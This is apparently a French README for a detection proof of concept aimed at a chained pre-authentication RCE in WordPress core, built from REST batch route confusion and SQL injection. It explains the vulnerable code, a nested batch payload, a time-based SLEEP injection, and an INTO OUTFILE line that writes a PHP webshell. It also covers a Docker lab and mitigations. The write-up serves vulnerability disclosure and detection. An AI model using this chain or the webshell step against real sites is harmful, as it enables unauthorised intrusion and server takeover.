
RCE pré-authentification dans le noyau WordPress via confusion de route batch de l'API REST + SQLi WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC de détection.
Pré-authentification, sans authentification, aucun plugin requis. Fonctionne contre une installation WordPress standard via le point de terminaison batch de l'API REST.
| CVE | CVE-2026-63030 (confusion de route → RCE) + CVE-2026-60137 (SQLi) |
| GHSA | GHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf |
| Découvreur | Adam Kues — Assetnote / Searchlight Cyber (surnommé « wp2shell ») |
| Versions concernées | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 (chaîne RCE complète) · 6.8.0 – 6.8.5 (SQLi uniquement) |
| Corrigé dans | 6.8.6, 6.9.5, 7.0.2, 7.1-beta2 |
| CVSS | Critique (chaîne RCE) / Modéré (SQLi seul) |
| Blog du chercheur | https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/ |
Deux bogues dans le cœur de WordPress, qui peuvent être enchaînés en exécution de code à distance sans authentification :
WP_Query lorsque author__not_in est une chaîne plutôt qu'un tableau — la garde de nettoyage is_array() est ignorée et la valeur brute est interpolée dans une clause NOT IN (...).WP_REST_Server::serve_batch_request_v1() — les sous-requêtes WP_Error sont poussées dans $validation[] mais pas dans $matches[], provoquant un décalage d'index de +1. La sous-requête i finit par être dispatchée avec le gestionnaire de la sous-requête i+1.Aucun des deux bogues ne suffit seul : l'API REST nettoie author_exclude (type: array, items: integer) avant qu'il n'atteigne WP_Query, et le point de terminaison batch rejette les sous-requêtes GET (enum: POST, PUT, PATCH, DELETE). En les enchaînant via une double confusion, on contourne les deux défenses et on atteint la SQLi sans authentification.
src/wp-includes/class-wp-query.php (CVE-2026-60137)Vulnérable (6.9.4) :
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // string → skipped
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}
Lorsque author__not_in est une chaîne, la branche is_array() est ignorée ; (array) "payload" donne ["payload"] ; implode(',', ...) renvoie la chaîne brute, qui est interpolée directement dans la requête SQL.
Correctif (6.9.5) : utiliser wp_parse_id_list() qui accepte toute forme d'entrée et renvoie une liste d'entiers nettoyés.
src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)// Validation loop
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) {
$has_error = true;
// ❌ $matches[] NOT appended
$validation[] = $single_request;
continue;
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
}
// Dispatch loop — indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
...
$match = $matches[ $i ]; // ← off-by-one after a WP_Error
list( $route, $handler ) = $match;
$result = $this->respond_to_request( $single_request, $route, $handler, $error );
}
Une seule sous-requête WP_Error (par ex. un chemin mal formé) en position 0 décale chaque entrée suivante d'un cran. La requête i est alors dispatchée avec le gestionnaire de la requête i+1.
Correctif (6.9.5) : ajouter $matches[] = $single_request; également pour le cas d'erreur. Un durcissement supplémentaire court-circuite rest_api_loaded() / serve_request() lorsqu'un dispatch est déjà en cours.
┌──────────────────────────────────────────────────────────────────────┐
│ OUTER batch (POST /wp-json/batch/v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] path = "/wp/v2/categories" → carries nested batch in body │
│ body = { "name": "x", │
│ "requests": [ INNER_BATCH ] } │
│ Validated against categories → "requests" field untouched │
│ [2] path = "/batch/v1" → batch handler → shifts onto [1] │
│ │
│ Outer shift: request[1] dispatched with request[2]'s handler = │
│ serve_batch_request_v1. The batch endpoint has NO │
│ permission_callback → fires unauthenticated. request[1]'s body │
│ was validated against the *categories* route, so the nested │
│ sub-requests were NEVER checked against the batch method enum → │
│ inner sub-requests may use GET. │
├──────────────────────────────────────────────────────────────────────┤
│ INNER batch (processed inside serve_batch_request_v1) │
│ │
│ [0] path = "http://" → WP_Error, NOT in $matches │
│ [1] GET /wp/v2/categories │
│ ?author_exclude=<SQLi_PAYLOAD> │
│ Validated against categories → author_exclude NOT sanitised │
│ [2] GET /wp/v2/posts → get_items handler → shifts to [1]│
│ │
│ Inner shift: inner[1] dispatched with inner[2]'s handler = │
│ WP_REST_Posts_Controller::get_items. The unsanitised string │
│ author_exclude is mapped to author__not_in and passed to │
│ WP_Query → SQL INJECTION. │
└──────────────────────────────────────────────────────────────────────┘
Le fragment SQL résultant est :
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )
SLEEP(N) se déclenche une fois par ligne d'article correspondante, donc le délai total est d'environ N × <nombre_d_articles_publiés> secondes.
L'injection de type SELECT uniquement (pas de requêtes empilées, $wpdb utilise mysqli_query) permet tout de même d'obtenir un RCE sur les piles LAMP typiques lorsque l'utilisateur MySQL dispose du privilège FILE — ce qui est le cas par défaut sur de nombreux hébergeurs mutualisés et serveurs auto-gérés :
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*
écrit un webshell PHP dans la racine web, accessible à /x.php.
Les chemins alternatifs (sans avoir besoin du privilège FILE) incluent la lecture du hash du mot de passe administrateur via une SQLi aveugle UNION/booléenne et le téléversement d'un plugin malveillant via l'interface d'administration authentifiée.
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
[--confusion-only] [--no-color] [-v]
Le PoC effectue deux tests non destructifs :
| Test | Méthode | Sûr ? |
|---|
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/
# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3
# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only
# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color
Exemple de sortie contre une instance vulnérable 6.9.4 :
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
Double confusion active: outer level bypasses batch method enum,
inner level dispatches categories params with the posts handler.
[*] Time-based blind SQLi detection (SLEEP=3s)
baseline: 0.04s
payload: 9.07s (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).
Aucun délai / aucune confusion structurelle ⇒ corrigé (6.8.6 / 6.9.5 / 7.0.2).
requests (pip install requests)Le plus simple pour reproduire est d'utiliser les images Docker officielles (l'auto-mise à jour aura corrigé la plupart des instances en production dans les heures suivant la divulgation) :
docker network create wp
docker run -d --name wp-db --network wp \
-e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
-e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
wordpress:6.9.4-php8.2
# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode weblog_title=T \
--data-urlencode user_name=admin \
--data-urlencode admin_password=adminpassword123 \
--data-urlencode admin_password2=adminpassword123 \
--data-urlencode pw_weak=1 \
--data-urlencode [email protected] \
--data-urlencode blog_public=0
python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3
Pour l'étape INTO OUTFILE → RCE, accordez le privilège FILE et assurez-vous que le processus de la base de données peut écrire dans la racine web (LAMP sur un seul serveur, ou un volume partagé dans Docker) :
GRANT FILE ON *.* TO 'wp'@'%';
WP_AUTO_UPDATE_CORE), donc la plupart des sites en production sont déjà corrigés.POST /wp-json/batch/v1POST /index.php?rest_route=/batch/v1FILE de l'utilisateur de la base de données WordPress :
REVOKE FILE ON *.* FROM 'wp_user'@'%';
secure_file_priv est défini (non vide) :
secure_file_priv = /var/lib/mysql-files
| Date | Événement |
|---|---|
| 2026-07-17 | WordPress 6.8.6 / 6.9.5 / 7.0.2 publiés |
| 2026-07-17 | GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf publiés |
| 2026-07-17 | Assetnote / Searchlight Cyber publie l'avis « wp2shell » + le vérificateur https://wp2shell.com |
src/wp-includes/class-wp-query.phpsrc/wp-includes/rest-api.phpsrc/wp-includes/rest-api/class-wp-rest-server.phpCe dépôt contient uniquement un PoC de détection — il utilise une SQLi aveugle temporelle et l'inspection structurelle des réponses. Il n'extrait pas de données, n'écrit pas de fichiers et ne tente pas de RCE. La vulnérabilité avait déjà été corrigée et divulguée publiquement par WordPress et le chercheur d'origine avant la publication de ce code.
À utiliser uniquement contre des systèmes que vous possédez ou que vous êtes autorisé à tester.
MIT — voir LICENSE.
| Confusion de route (CVE-2026-63030) | Structurelle — vérifie que la requête interne [1] (categories) est dispatchée avec le gestionnaire des articles en contrôlant la présence de champs propres aux articles dans le corps de la réponse | Oui |
| SQLi (CVE-2026-60137) | Aveugle temporelle — injecte SLEEP(N) via author_exclude et mesure la latence par rapport à une référence bénigne | Oui |